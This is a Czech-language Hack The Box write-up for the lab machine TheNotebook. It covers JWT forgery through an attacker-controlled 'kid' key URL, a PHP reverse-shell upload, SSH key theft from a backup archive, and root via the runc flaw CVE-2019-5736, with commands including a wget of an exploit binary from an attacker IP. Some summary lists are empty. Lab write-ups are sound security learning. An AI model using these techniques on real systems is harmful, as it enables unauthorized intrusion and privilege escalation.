tom@home.htb:~$

Blog o HTB

24 January 2021

TheNotebook

Úvod a kontext

TheNotebook začíná nenápadnou chybou v práci s JWT. Aplikace sice používá asymetrické podepisování, ale při ověřování slepě důvěřuje adrese v hlavičce kid a stáhne si klíč z URL, kterou určí útočník. Tím se z ochrany podpisem stává mechanika, kterou lze plně obejít, přesně v duchu článku kid/jku a vzdálené načítání klíčů.

Druhá polovina řetězce je o provozním detailu kolem Dockeru. Upload formulář zapisuje soubory do cesty, která je bind mountnutá z hosta, takže nahraný rev.php se neprovede v kontejneru, ale přes nginx přímo na hostitelském systému. Root pak stojí na starém runc a právu spouštět docker exec, tedy přesně na patternu popsaném v Container boundary mistakes: bind mounty, docker exec, runc, privileged.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji služby a ověřuji, jestli půjde hlavně o webovou aplikaci.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    nginx 1.14.0 (Ubuntu)

To ukazuje jednoduchý profil: web jako vstupní bod, SSH až později pro stabilizaci přístupu.

Analýza zjištění

JWT s ověřováním podle kid

Po registraci a přihlášení aplikace vracela cookie auth, která byla JWT tokenem. Dekódování ukazovalo dvě podstatné věci:

Původní token vypadal logicky takto:

{
  "typ": "JWT",
  "alg": "RS256",
  "kid": "http://localhost:7070/privKey.key"
}

To je kritická chyba návrhu. Server se nesmí nechat přimět, aby si ověřovací klíč stahoval z útočníkem řízené adresy. Jakmile to dovolí, stačí si vytvořit vlastní pár klíčů, hostovat jej a podepsat libovolný token. Tady nejde o uniklý signing secret, ale o rozbitý trust model kolem key lookupu.

Vytvoření vlastního admin tokenu

Praktický postup byl přímočarý:

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
python3 -m http.server 8000

Pak stačilo změnit hlavičku kid na vlastní server a v payloadu nastavit administrátorský příznak:

{
  "username": "ttt",
  "email": "ttt@htb.com",
  "admin_cap": true
}

Po podepsání vlastním klíčem a nahrazení cookie se zpřístupnila administrace aplikace.

Získání přístupu

Proč upload vede na host a ne do kontejneru

Admin panel obsahoval upload formulář. To samo o sobě ještě neznamená RCE, protože aplikace běžela v Dockeru a bylo potřeba pochopit, kde nahrané soubory končí.

Lokální enumerace později ukázala, že:

Právě to dělá z uploadu skutečný host-level RCE. Nahraný rev.php se uloží do adresáře, který nginx na hostu rovnou interpretuje.

Shell jako www-data

Po nahrání rev.php a jeho zavolání vznikl shell jako www-data. V tomto kontextu dávalo smysl projít zálohy:

/var/backups/home.tar.gz

Archiv obsahoval domácí adresář uživatele noah, včetně privátního klíče:

home/noah/.ssh/id_rsa

Privátní klíč šel z archivu přečíst a použít přímo pro SSH:

ssh -i id_rsa noah@10.10.10.230

Tím vznikl stabilní přístup pod skutečným uživatelským účtem a bylo možné potvrdit user.txt.

Eskalace oprávnění

docker exec a starý runc

Nejdůležitější výstup z sudo -l byl:

(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

To samo o sobě ještě není automatický root. Rozhodující je verze Dockeru a runc. Na hostu běžel Docker 18.06, tedy zranitelný vůči CVE-2019-5736. Zároveň je to dobrý příklad toho, proč i zdánlivě úzké sudo nad container runtime patří do stejné rodiny problémů jako sudo nad package, backup a container nástroji.

Princip této chyby je v tom, že proces uvnitř kontejneru dokáže při správném postupu přepsat hostitelský runc. Při dalším docker exec se pak spustí útočníkův payload na hostu jako root.

Praktické zneužití

Po sestavení PoC binárky šlo v první relaci vstoupit do kontejneru a exploit spustit:

sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
wget http://10.10.14.8:8000/main
chmod +x main
./main

Ve druhé relaci pak stačilo vyvolat další docker exec, čímž se aktivoval přepsaný runc a payload se provedl na hostu jako root. Praktický payload zapisoval vlastní klíč do /root/.ssh/authorized_keys, takže následoval už jen SSH login jako root a přečtení root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - sudo - php - exploit - enumeration